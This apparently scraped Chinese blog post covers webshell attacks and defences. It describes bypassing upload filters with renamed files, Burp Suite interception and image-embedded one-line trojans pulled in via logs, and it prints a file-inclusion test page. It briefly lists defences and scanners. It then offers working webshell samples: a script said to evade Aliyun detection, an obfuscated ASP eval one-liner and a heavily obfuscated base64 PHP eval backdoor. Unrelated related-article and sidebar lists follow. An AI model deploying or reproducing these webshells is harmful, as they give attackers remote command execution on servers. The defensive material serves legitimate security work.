webShell攻击及防御
最近公司项目也是经常被同行攻击,经过排查,基本定位都是挂马脚本导致,所以针对webShell攻击做一下记录。
首先简单说下 什么是webShell?
利用文件上传,上传了非法可以执行代码到服务器,然后利用程序(中国蚁剑、哥斯拉、冰蝎)进行连接并执行服务器的操作。
下面是蚁剑的成功连接界面,可以对整个服务器下的项目进行授权操作。

哥斯拉成功连接界面
攻击思路:
1.通过第三方检测工具对网站进行扫描上传的接口( AppScan工具,或者其它开源产品Github上或码云有 )
2.测试上传非图片文件,如果前端限制了,把php脚本改成jpg格式 可以配合抓包工具(burpsuite)进行提交后修改文件后缀,大部分网站上传接口可以给上传。如果上传不了最后给强制返回了图片格式后缀,也不用慌,还可以尝试上传一句话木马保存到图片里面。再通过访问日志,或者错误日志写入引用图片木马。
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];// http://www.a.com/b.png
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
反攻击思路:
1.前端获取图片的base64格式 ,后端直接强制上传文件的后缀为 png jpg
2.PHP 禁用eval() {evel是禁用不了的,属于系统C的语言,但是百度有办法禁用} shell_exec() system() assert() 等危险可执行函数
3.上传接口,设置好访问权限,这样可以少了很多麻烦。
其实这个webShell病毒,我测试发现很多可以免杀。就是杀毒无法识别,一般都是进行了伪装,代码变形,代码加密等等方式。不过随着杀毒防御的不断增加病毒的形态,绝大对数还是可以被检测出来。所以推荐下几个比较好用的防御杀毒工具:
1.阿里云检测代码,我一般用这个测试写的代码是否可以被识别,这个识别度非常高 https://ti.aliyun.com/#/webshell
2.宝塔杀毒软件很多,我用过微步木马检测,还挺好用,识别度很高
3.APP 河马查杀 、D盾 这2个我下载扫过全站的代码,识别度相对前面的没有那么高。
最后发几段代码供参考下:
<?php
// 这个是可以过阿里云的 免杀脚本,如果使用的是宝塔服务器
ini_set("xdebug.var_display_max_children", '-1');
ini_set("xdebug.var_display_max_data", '-1');
ini_set("xdebug.var_display_max_depth", '-1');
function running_process(){
$cmd = "bt default | head -n 8 | tail -n 4";
#$ret1 = system($cmd);
$ret1 = shell_exec($cmd);
#$ret2 = exec($cmd);
var_dump($ret1);
echo "\n";
print_r($ret1);
echo "\n";
echo shell_exec($cmd);
}
running_process();
?>
<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0ia0hlTGJxUE9VVE5qcGFoSlNBZ2RJY3RYRVZuQ3dseVdCWVJLclpNRGltZnZ1Rkdzb3hRemJvV1lNVGdhRWx4VnJaa0tuenVKZmhwSERJZENxdEJQamlSWFVOR3ZReUZBZVNtY09Mc3dndjlxWm96WHNveHRoM3hyTTI1RmgzUmtoZHNPWGxjWHNveHRKUzkwWlAxdEgyTHJNUHQwWHZ6cmFxcnpOSEtCTTNLRmh5SXFNM0swWlA1ZFh2enJhcXJ5SlA1VkptdEFNUWp0TXl4QU5tRU9LRHNjS0RjcldxT3VmQ3p1Tnk5QlhDUnJnbHo3S21iOGgzUkJNbUllWENSRFhsY2JabmNVWG5qN0NRenVmQ3p1ZkN6dUttR3VnbnpibjFjYlpuY0xLVkQxSGxjWGZDenVmQ3p1ZkN6YlJTY2JaSTB1Z256YlJTY2JaSTFXS21HN0NRenVmQ2o5Q1F6dWZDakJOSFIxaHk0dUtEczdDZDBYS29qa2gzRzlLM2praDN4M00zS2JLd2NYS29qa1dQTEFpUFJhaVAxdGduSnFpSHRjTTJTYkt3Y1hLbXB0V2wwZHhQaTBObXhWRzJmMWlQRDN4VklieFFoN0N5dHlmQ2tyaDN4dEpDdWJIMWpnRTFSTUtvamtoM3hKWG50N0NRenVmQ3piTm1TMGlsMXRNeXhBTm1FT2l5U3dObGkwSDJSdGkyOWJObnViSDFqZ0UxUk1Lb2praDN4SlhucWJaMkk1WGxjWGZDenVmbXR5ZkNrcmgzeHRKQ3ViSDF4U0UxeEtsMDVNS29qa1dQTEFpUFJhaVAxdEhuYnJXcU91ZkN6dWZDenVmQ1JxaUh0Y00yU2JnUEllaTI5Yk5udWJIMXhTRTF4S2wwNU1Lb2prV1BMQWlQUmFpUDF0SG5xYloySTVYbGNYZkN6dWZDenVmQ2pyTlF6T2gzUkJobTl3WENScWlIdGNNMlNiWUNLZE5IUkNpSHhyaTN4S015TkFmUWI5Z2wxeWlQTHdObnQ3Q1F6dWZDenVmQ3p1ZkN6dWZDUnFpSHRjTTJTYmdQSWVpMjliTm51YmhtUzVNbTlrTkNxYloySTVYbGNYZkN6dWZDenVmQ2o5Q3ViS05ITmtNQ3ViaG1TNU1tOWtOQ2I3Q1F6dWZDenVmQ3p1TlB4T01CandKUEt3Sm9mT01QczFYQ1JxaUh4d1lRUlVOSGJyWXZ6Y0dsaXJhcU91ZkN6dWZDenVmbUlWWm04dWl5U3dObGkwSDJJZWkyOWJObmt0TXl4QU5tRU9zb0sxTVF1Yk5tUzBpbmJjS21wdFduYnJhcU91ZkN6dWZDenVmbUlWWm04dWgzSVFoM1JCWG0xYnhudWJobVN3aEI0YloySTVYbnFMeFFiN0NRenVmQ2o5TlBMd05IY1hmQ3p1ZkN6dWZDanJOUXpPaDNSQmhtOXdYQ1JiaUhSa1lDS2ROSFJDaUh4cmkzeEtNeU5BZlFia2dsMXlpUEx3Tm50N0NRenVmQ3p1ZkN6dWZDenVmQ1JGRTBJbEUwdGdsdGNiaG1TNU1tOWtORDVrTVBJSmdQSWVpMjliTm51Yk5tUzBpbnFiWjJJNVhsY1hmQ3p1ZkN6dWZDajlDUXp1ZkNqOUNkMD0iOyAgCiAgICAgICAgZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwgICAgCiAgICAgICAgJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));?>
webShell攻击及防御的更多相关文章
- 常见【十种】WEB攻击及防御技术总结
最近参加了一个WEB安全培训,感觉WEB攻击跟防御都是挺有意思的.以下总结比较简短,仅供观赏哈. 一.XSS攻击 [介绍] xss攻击是跨站脚本攻击,例如在表单中提交含有可执行的javascript的 ...
- 攻防:文件上传漏洞的攻击与防御,转自H3C
WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目 ...
- Mac地址泛洪攻击的防御措施和具体配置
Mac地址泛洪攻击指的是:利用交换机的mac地址学习机制,攻击者不断地刷新mac地址,填满交换机的mac地址表,以致崩溃,使交换机不得不使用广播发包,从而获取其他人的报文信息. mac地址泛洪攻击的防 ...
- C#-黑客-数据库访问-字符串的攻击和防御
C#中用基本的方法对数据库进行增删改查,会被黑客利用,写入其他的代码以实现对数据库的数据进行其他的操作.例如: 对下列数据库的某个信息进行修改操作 修改代码: using System; using ...
- ARP缓存表的构成ARP协议全面实战协议详解、攻击与防御
ARP缓存表的构成ARP协议全面实战协议详解.攻击与防御 1.4.3 ARP缓存表的构成 在局域网的任何一台主机中,都有一个ARP缓存表.该缓存表中保存中多个ARP条目.每个ARP条目都是由一个IP ...
- 【服务器防护】WEB防护 - WEBSHELL攻击探测【转载】
原文:http://www.2cto.com/Article/201511/451757.html 1. 什么是webshell? 基于b/s架构的软件部署在Internet上,那么安全性是必 ...
- 浅谈Ddos攻击攻击与防御
EMail: jianxin#80sec.comSite: http://www.80sec.comDate: 2011-2-10From: http://www.80sec.com/ [ 目录 ]一 ...
- 通过DDOS攻击流程图来浅谈如何预防Ddos攻击与防御
DDOS攻击流程图 站长之家配图(来源:ppkj.net) 一 背景 在前几天,我们运营的某网站遭受了一次ddos攻击,我们的网站是一个公益性质的网站,为各个厂商和白帽子之间搭建一个平台以传递安全问题 ...
- 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞
看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...
- CSRF——攻击与防御
CSRF——攻击与防御 author: lake2 0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意 ...
随机推荐
- MySQL数据库安装保姆教程及问题解决
使用Mysql的zip压缩包解压版,下载之后需进行一定的配置,才能使用它. 下面对Mysql压缩包版的安装方法进行详细的描述,如有疑问或错误,望及时反馈. 首先,mysql的官方下载地址点我进行下载 ...
- 基于SqlSugar的开发框架循序渐进介绍(14)-- 基于Vue3+TypeScript的全局对象的注入和使用
刚完成一些前端项目的开发,腾出精力来总结一些前端开发的技术点,以及继续完善基于SqlSugar的开发框架循序渐进介绍的系列文章,本篇随笔主要介绍一下基于Vue3+TypeScript的全局对象的注入和 ...
- 关于windows-server-下MySQL Community版本的的安装与配置
在公司电脑或者服务器上安装软件,都是有要求的,要么购买license-(这个需要申请,难度较大),要么安装免费开源的软件 笔者最近想要安装mysql服务环境,用于数据存储及开发一些功能程序需要连接数据 ...
- 关于JDK8中stream的用法小总结。
import java.io.Serializable; import java.util.*; import java.util.stream.Collectors; public class Ma ...
- 18.MongDB系列之批量更新写入Python版
在实际的工作中,难免批量更新的数量极大,pymongo提供了便捷的客户端供使用 假设读者对pandas比较熟悉,下图为事先准备好的dataframe import pandas as pd from ...
- github使用Webhooks实现自动化部署
参考: https://blog.csdn.net/u013764814/article/details/85240752 -------------------------------------- ...
- 基本的Dos命令 在控制台如何进入某一个文件或者进入不同的盘符
基本的Dos命令 Windows+R 打开运行小窗口 cmd 进入 D: 切换盘符 dir 查看当前目录下的所有文件 cd 路径,进入某个文件 cd- 返回上一层 cls 清理屏幕 inconfig ...
- 使用redis进行手机验证码的验证、每天只能发送三次验证码 (redis安装在虚拟机linux系统中)
文章目录 1.代码 2.测试结果 2.1.第一次发送 2.2.填写正确的验证码 2.3.填写错误的验证码 连续发送多次验证码 环境准备:虚拟机Linux系统,redis安装在虚拟机中. 前提条件:虚拟 ...
- 齐博x1齐博首创钩子的使用方法
齐博X1有两套钩子体系,第一套是基于TP思路设计的.跟外面的大同小异.现在重点讲一下第二套我们首创的使用方法. 首先说一下如何埋钩子,这个跟TP思路的钩子类似,就是在页面的任何地方加入如下代码即可如下 ...
- 表单快速启用城市地区功能 齐博x1齐博x2齐博x3齐博x4齐博x5齐博x6齐博x7齐博x8齐博x9齐博x10
比如分类系统\application\fenlei\config.php 修改这个文件,里边加入参数 'use_area'=>true, 那么会员中心与后台的,修改发布页面,都会自动加上城市地区 ...